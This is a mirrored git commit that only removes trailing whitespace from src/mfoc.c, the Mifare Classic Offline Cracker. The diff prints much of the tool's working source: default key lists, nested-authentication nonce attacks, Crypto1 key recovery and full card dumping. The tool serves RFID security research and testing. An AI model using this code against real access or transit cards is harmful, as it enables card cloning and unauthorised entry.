mirror of
https://github.com/nfc-tools/mfoc.git
synced 2026-02-01 22:32:43 +00:00
some code clean up: find . -name '*.[ch]' | xargs perl -pi -e 's/\t+$//; s/ +$//'
This commit is contained in:
204
src/mfoc.c
204
src/mfoc.c
@@ -1,29 +1,29 @@
|
||||
/*
|
||||
|
||||
/*
|
||||
|
||||
Mifare Classic Offline Cracker
|
||||
|
||||
|
||||
Requirements: crapto1 library http://code.google.com/p/crapto1
|
||||
libnfc http://www.libnfc.org
|
||||
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
Contact: <mifare@nethemba.com>
|
||||
|
||||
Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
|
||||
Porting to libnfc 1.3.9: Romuald Conty <romuald@libnfc.org>
|
||||
Porting to libnfc 1.4.x: Romuald Conty <romuald@libnfc.org>
|
||||
|
||||
|
||||
URL http://eprint.iacr.org/2009/137.pdf
|
||||
URL http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
|
||||
URL http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
|
||||
@@ -61,21 +61,21 @@ int main(int argc, char * const argv[]) {
|
||||
int ch, i, k, n, j, m;
|
||||
int key, block;
|
||||
int succeed = 1;
|
||||
|
||||
|
||||
// Exploit sector
|
||||
int e_sector;
|
||||
int e_sector;
|
||||
int probes = DEFAULT_PROBES_NR;
|
||||
int sets = DEFAULT_SETS_NR;
|
||||
|
||||
|
||||
// By default, dump 'A' keys
|
||||
int dumpKeysA = true;
|
||||
bool failure = false;
|
||||
bool skip = false;
|
||||
|
||||
|
||||
// Next default key specified as option (-k)
|
||||
uint8_t * defKeys = NULL, *p;
|
||||
size_t defKeys_len = 0;
|
||||
|
||||
|
||||
// Array with default Mifare Classic keys
|
||||
uint8_t defaultKeys[][6] = {
|
||||
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
|
||||
@@ -93,7 +93,7 @@ int main(int argc, char * const argv[]) {
|
||||
{0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
|
||||
|
||||
};
|
||||
|
||||
|
||||
mftag t;
|
||||
mfreader r;
|
||||
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
||||
@@ -101,23 +101,23 @@ int main(int argc, char * const argv[]) {
|
||||
// Pointers to possible keys
|
||||
pKeys *pk;
|
||||
countKeys *ck;
|
||||
|
||||
|
||||
// Pointer to already broken keys, except defaults
|
||||
bKeys *bk;
|
||||
|
||||
|
||||
static mifare_param mp;
|
||||
static mifare_classic_tag mtDump;
|
||||
|
||||
|
||||
mifare_cmd mc;
|
||||
FILE *pfDump = NULL;
|
||||
|
||||
|
||||
// Parse command line arguments
|
||||
while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) {
|
||||
switch (ch) {
|
||||
case 'P':
|
||||
// Number of probes
|
||||
if (!(probes = atoi(optarg)) || probes < 1) {
|
||||
ERR ("The number of probes must be a positive number");
|
||||
ERR ("The number of probes must be a positive number");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
// fprintf(stdout, "Number of probes: %d\n", probes);
|
||||
@@ -127,7 +127,7 @@ int main(int argc, char * const argv[]) {
|
||||
int res;
|
||||
// Nonce tolerance range
|
||||
if (((res = atoi(optarg)) != 0) || (res < 0)) {
|
||||
ERR ("The nonce distances range must be a zero or a positive number");
|
||||
ERR ("The nonce distances range must be a zero or a positive number");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
d.tolerance = (uint32_t)res;
|
||||
@@ -146,12 +146,12 @@ int main(int argc, char * const argv[]) {
|
||||
num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len);
|
||||
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6));
|
||||
defKeys_len = defKeys_len + 6;
|
||||
|
||||
break;
|
||||
|
||||
break;
|
||||
case 'O':
|
||||
// File output
|
||||
if (!(pfDump = fopen(optarg, "wb"))) {
|
||||
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
|
||||
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
// fprintf(stdout, "Output file: %s\n", optarg);
|
||||
@@ -164,12 +164,12 @@ int main(int argc, char * const argv[]) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!pfDump) {
|
||||
ERR ("parameter -O is mandatory");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
// Initialize reader/tag structures
|
||||
mf_init(&r);
|
||||
|
||||
@@ -207,7 +207,7 @@ int main(int argc, char * const argv[]) {
|
||||
nfc_perror (r.pdi, "nfc_initiator_select_passive_target");
|
||||
goto error;
|
||||
}
|
||||
|
||||
|
||||
// Test if a compatible MIFARE tag is used
|
||||
if ((t.nt.nti.nai.btSak & 0x08) == 0) {
|
||||
ERR ("only Mifare Classic is supported");
|
||||
@@ -224,37 +224,37 @@ int main(int argc, char * const argv[]) {
|
||||
|
||||
t.num_blocks = (t.b4K) ? 0xff : 0x3f;
|
||||
t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k;
|
||||
|
||||
|
||||
t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
|
||||
if (t.sectors == NULL) {
|
||||
ERR ("Cannot allocate memory for t.sectors");
|
||||
ERR ("Cannot allocate memory for t.sectors");
|
||||
goto error;
|
||||
}
|
||||
if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
|
||||
ERR ("Cannot allocate memory for pk");
|
||||
ERR ("Cannot allocate memory for pk");
|
||||
goto error;
|
||||
}
|
||||
if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
|
||||
ERR ("Cannot allocate memory for bk");
|
||||
ERR ("Cannot allocate memory for bk");
|
||||
goto error;
|
||||
} else {
|
||||
} else {
|
||||
bk->brokenKeys = NULL;
|
||||
bk->size = 0;
|
||||
bk->size = 0;
|
||||
}
|
||||
|
||||
|
||||
d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t));
|
||||
if (d.distances == NULL) {
|
||||
ERR ("Cannot allocate memory for t.distances");
|
||||
ERR ("Cannot allocate memory for t.distances");
|
||||
goto error;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Initialize t.sectors, keys are not known yet
|
||||
for (uint8_t s = 0; s < (t.num_sectors); ++s) {
|
||||
t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false;
|
||||
}
|
||||
|
||||
|
||||
print_nfc_iso14443a_info (t.nt.nti.nai, true);
|
||||
|
||||
|
||||
// Try to authenticate to all sectors with default keys
|
||||
// Set the authentication information (uid)
|
||||
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
|
||||
@@ -279,7 +279,7 @@ int main(int argc, char * const argv[]) {
|
||||
if (!t.sectors[i].foundKeyA) {
|
||||
mc = MC_AUTH_A;
|
||||
if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
|
||||
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n",
|
||||
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n",
|
||||
// bytes_to_num(mp.mpa.abtKey, 6), i, block);
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
@@ -291,7 +291,7 @@ int main(int argc, char * const argv[]) {
|
||||
if (!t.sectors[i].foundKeyB) {
|
||||
mc = MC_AUTH_B;
|
||||
if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
|
||||
// fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n",
|
||||
// fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n",
|
||||
// bytes_to_num(mp.mpa.abtKey, 6), i, block);
|
||||
mf_anticollision(t, r);
|
||||
// No success, try next block
|
||||
@@ -311,7 +311,7 @@ int main(int argc, char * const argv[]) {
|
||||
fprintf(stdout, ".");
|
||||
}
|
||||
fflush(stdout);
|
||||
// fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n",
|
||||
// fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n",
|
||||
// (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block);
|
||||
// Save position of a trailer block to sector struct
|
||||
t.sectors[i++].trailer = block;
|
||||
@@ -327,25 +327,25 @@ int main(int argc, char * const argv[]) {
|
||||
fprintf(stdout, "\n");
|
||||
}
|
||||
fflush(stdout);
|
||||
|
||||
|
||||
// Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
|
||||
e_sector = find_exploit_sector(t);
|
||||
//mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
|
||||
|
||||
|
||||
// Recover key from encrypted sectors, j is a sector counter
|
||||
for (m = 0; m < 2; ++m) {
|
||||
if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
|
||||
for (j = 0; j < (t.num_sectors); ++j) {
|
||||
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
|
||||
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||
|
||||
|
||||
// First, try already broken keys
|
||||
skip = false;
|
||||
for (uint32_t o = 0; o < bk->size; o++) {
|
||||
num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
|
||||
mc = dumpKeysA ? 0x60 : 0x61;
|
||||
if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
|
||||
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n",
|
||||
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n",
|
||||
// bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o);
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
@@ -358,7 +358,7 @@ int main(int argc, char * const argv[]) {
|
||||
t.sectors[j].foundKeyB = true;
|
||||
}
|
||||
printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
|
||||
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||
bytes_to_num(mp.mpa.abtKey, 6));
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
@@ -367,16 +367,16 @@ int main(int argc, char * const argv[]) {
|
||||
}
|
||||
}
|
||||
if (skip) continue; // We have already revealed key, go to the next iteration
|
||||
|
||||
|
||||
// Max probes for auth for each sector
|
||||
for (k = 0; k < probes; ++k) {
|
||||
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
||||
mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
|
||||
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
||||
// Configure device to the previous state
|
||||
// Configure device to the previous state
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
|
||||
|
||||
pk->possibleKeys = NULL;
|
||||
pk->size = 0;
|
||||
// We have 'sets' * 32b keystream of potential keys
|
||||
@@ -397,10 +397,10 @@ int main(int argc, char * const argv[]) {
|
||||
if (ck[i].count > 0) {
|
||||
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
||||
// Set required authetication method
|
||||
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||
mc = dumpKeysA ? 0x60 : 0x61;
|
||||
if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
|
||||
// fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n",
|
||||
// fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n",
|
||||
// bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer);
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
@@ -411,12 +411,12 @@ int main(int argc, char * const argv[]) {
|
||||
if (dumpKeysA) {
|
||||
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
t.sectors[j].foundKeyA = true;
|
||||
|
||||
|
||||
} else {
|
||||
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
t.sectors[j].foundKeyB = true;
|
||||
}
|
||||
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||
bytes_to_num(mp.mpa.abtKey, 6));
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
@@ -427,10 +427,10 @@ int main(int argc, char * const argv[]) {
|
||||
free(pk->possibleKeys);
|
||||
free(ck);
|
||||
// Success, try the next sector
|
||||
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||
}
|
||||
// We haven't found any key, exiting
|
||||
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||
ERR ("No success, maybe you should increase the probes");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
@@ -438,8 +438,8 @@ int main(int argc, char * const argv[]) {
|
||||
}
|
||||
dumpKeysA = false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
for (i = 0; i < (t.num_sectors); ++i) {
|
||||
if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
|
||||
fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
|
||||
@@ -455,7 +455,7 @@ int main(int argc, char * const argv[]) {
|
||||
for (block = t.num_blocks; block >= 0; block--) {
|
||||
trailer_block(block) ? i-- : i;
|
||||
failure = true;
|
||||
|
||||
|
||||
// Try A key, auth() + read()
|
||||
memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
|
||||
if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) {
|
||||
@@ -479,7 +479,7 @@ int main(int argc, char * const argv[]) {
|
||||
// ERR ("Error: Auth B");
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
} else { // and Read
|
||||
} else { // and Read
|
||||
if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
|
||||
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
|
||||
print_hex(mp.mpd.abtData, 16);
|
||||
@@ -502,7 +502,7 @@ int main(int argc, char * const argv[]) {
|
||||
} else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData,16);
|
||||
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
|
||||
}
|
||||
|
||||
|
||||
// Finally save all keys + data to file
|
||||
if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) {
|
||||
fprintf(stdout, "Error, cannot write dump\n");
|
||||
@@ -511,10 +511,10 @@ int main(int argc, char * const argv[]) {
|
||||
}
|
||||
fclose(pfDump);
|
||||
}
|
||||
|
||||
|
||||
free(t.sectors);
|
||||
free(d.distances);
|
||||
|
||||
|
||||
// Reset the "advanced" configuration to normal
|
||||
nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true);
|
||||
nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true);
|
||||
@@ -609,14 +609,14 @@ void mf_select_tag(nfc_device* pdi, nfc_target* pnt) {
|
||||
int trailer_block(uint32_t block)
|
||||
{
|
||||
// Test if we are in the small or big sectors
|
||||
return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
|
||||
return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
|
||||
}
|
||||
|
||||
// Return position of sector if it is encrypted with the default key otherwise exit..
|
||||
int find_exploit_sector(mftag t) {
|
||||
int i;
|
||||
int i;
|
||||
bool interesting = false;
|
||||
|
||||
|
||||
for (i = 0; i < t.num_sectors; i++) {
|
||||
if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
|
||||
interesting = true;
|
||||
@@ -655,32 +655,32 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
struct Crypto1State* revstate_start;
|
||||
|
||||
uint64_t lfsr;
|
||||
|
||||
|
||||
// Possible key counter, just continue with a previous "session"
|
||||
uint32_t kcount = pk->size;
|
||||
|
||||
|
||||
uint8_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
|
||||
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||
uint8_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||
|
||||
|
||||
uint8_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||
uint8_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||
|
||||
|
||||
uint8_t Rx[MAX_FRAME_LEN]; // Tag response
|
||||
uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
|
||||
size_t RxLen;
|
||||
|
||||
|
||||
uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
|
||||
|
||||
int i, m;
|
||||
|
||||
|
||||
// Prepare AUTH command
|
||||
Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
|
||||
iso14443a_crc_append (Auth,2);
|
||||
// fprintf(stdout, "\nAuth command:\t");
|
||||
// print_hex(Auth, 4);
|
||||
|
||||
|
||||
// We need full control over the CRC
|
||||
if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) {
|
||||
nfc_perror (r.pdi, "nfc_device_set_property_bool crc");
|
||||
@@ -704,10 +704,10 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
// print_hex(Rx, 4);
|
||||
|
||||
|
||||
// Save the tag nonce (Nt)
|
||||
Nt = bytes_to_num(Rx, 4);
|
||||
|
||||
|
||||
// Init the cipher with key {0..47} bits
|
||||
if (t.sectors[e_sector].foundKeyA) {
|
||||
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
|
||||
@@ -717,7 +717,7 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
|
||||
// Load (plain) uid^nt into the cipher {48..79} bits
|
||||
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 0);
|
||||
|
||||
|
||||
// Generate (encrypted) nr+parity by loading it into the cipher
|
||||
for (i = 0; i < 4; i++) {
|
||||
// Load in, and encrypt the reader nonce (Nr)
|
||||
@@ -734,7 +734,7 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xff);
|
||||
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
|
||||
}
|
||||
|
||||
|
||||
// Finally we want to send arbitrary parity bits
|
||||
if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) {
|
||||
nfc_perror (r.pdi, "nfc_device_set_property_bool parity");
|
||||
@@ -749,11 +749,11 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
ERR ("Reader-answer transfer error, exiting..");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
// Now print the answer from the tag
|
||||
// fprintf(stdout, "\t{At}:\t");
|
||||
// print_hex_par(Rx,RxLen,RxPar);
|
||||
|
||||
|
||||
// Decrypt the tag answer and verify that suc3(Nt) is At
|
||||
Nt = prng_successor(Nt, 32);
|
||||
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
|
||||
@@ -761,7 +761,7 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
// fprintf(stdout, "Authentication completed.\n\n");
|
||||
|
||||
|
||||
// If we are in "Get Distances" mode
|
||||
if (mode == 'd') {
|
||||
for (m = 0; m < d->num_distances; m++) {
|
||||
@@ -779,18 +779,18 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Decrypt the encrypted auth
|
||||
// Decrypt the encrypted auth
|
||||
if (t.sectors[e_sector].foundKeyA) {
|
||||
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
|
||||
} else {
|
||||
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
|
||||
}
|
||||
NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 1);
|
||||
|
||||
NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 1);
|
||||
|
||||
// Save the determined nonces distance
|
||||
d->distances[m] = nonce_distance(Nt, NtLast);
|
||||
// fprintf(stdout, "distance: %05d\n", d->distances[m]);
|
||||
|
||||
|
||||
// Again, prepare and send {At}
|
||||
for (i = 0; i < 4; i++) {
|
||||
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
|
||||
@@ -813,19 +813,19 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
} // Next auth probe
|
||||
|
||||
|
||||
// Find median from all distances
|
||||
d->median = median(*d);
|
||||
//fprintf(stdout, "Median: %05d\n", d->median);
|
||||
} // The end of Get Distances mode
|
||||
|
||||
|
||||
// If we are in "Get Recovery" mode
|
||||
if (mode == 'r') {
|
||||
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
|
||||
Auth[0] = dumpKeysA ? 0x60 : 0x61;
|
||||
Auth[1] = a_sector;
|
||||
Auth[1] = a_sector;
|
||||
iso14443a_crc_append (Auth,2);
|
||||
|
||||
|
||||
// Encryption of the Auth command, sending the Auth command
|
||||
for (i = 0; i < 4; i++) {
|
||||
AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
|
||||
@@ -847,23 +847,23 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
nfc_perror (r.pdi, "nfc_device_set_property_bool crc restore M");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
// Save the encrypted nonce
|
||||
NtEnc = bytes_to_num(Rx, 4);
|
||||
|
||||
|
||||
// Parity validity check
|
||||
for (i = 0; i < 3; ++i) {
|
||||
d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Iterate over Nt-x, Nt+x
|
||||
// fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
|
||||
NtProbe = prng_successor(Nt, d->median-d->tolerance);
|
||||
for (m = d->median-d->tolerance; m <= d->median+d->tolerance; m +=2) {
|
||||
|
||||
// Try to recover the keystream1
|
||||
|
||||
// Try to recover the keystream1
|
||||
Ks1 = NtEnc ^ NtProbe;
|
||||
|
||||
|
||||
// Skip this nonce after invalid 3b parity check
|
||||
revstate_start = NULL;
|
||||
if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
|
||||
@@ -881,7 +881,7 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
// fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
|
||||
pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
|
||||
if (pk->possibleKeys == NULL) {
|
||||
ERR ("Memory allocation error for pk->possibleKeys");
|
||||
ERR ("Memory allocation error for pk->possibleKeys");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -897,9 +897,9 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
if (kcount != 0) {
|
||||
pk->size = --kcount;
|
||||
if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
|
||||
ERR ("Memory allocation error for pk->possibleKeys");
|
||||
ERR ("Memory allocation error for pk->possibleKeys");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
crypto1_destroy(pcs);
|
||||
@@ -910,7 +910,7 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
uint32_t median(denonce d) {
|
||||
int middle = (int) d.num_distances / 2;
|
||||
qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int);
|
||||
|
||||
|
||||
if (d.num_distances % 2 == 1) {
|
||||
// Odd number of elements
|
||||
return d.distances[middle];
|
||||
@@ -933,17 +933,17 @@ countKeys * uniqsort(uint64_t * possibleKeys, uint32_t size) {
|
||||
unsigned int i, j = 0;
|
||||
int count = 0;
|
||||
countKeys *our_counts;
|
||||
|
||||
|
||||
qsort(possibleKeys, size, sizeof (uint64_t), compar_int);
|
||||
|
||||
|
||||
our_counts = calloc(size, sizeof(countKeys));
|
||||
if (our_counts == NULL) {
|
||||
ERR ("Memory allocation error for our_counts");
|
||||
exit (EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
for (i = 0; i < size; i++) {
|
||||
if (possibleKeys[i+1] == possibleKeys[i]) {
|
||||
if (possibleKeys[i+1] == possibleKeys[i]) {
|
||||
count++;
|
||||
} else {
|
||||
our_counts[j].key = possibleKeys[i];
|
||||
|
||||
Reference in New Issue
Block a user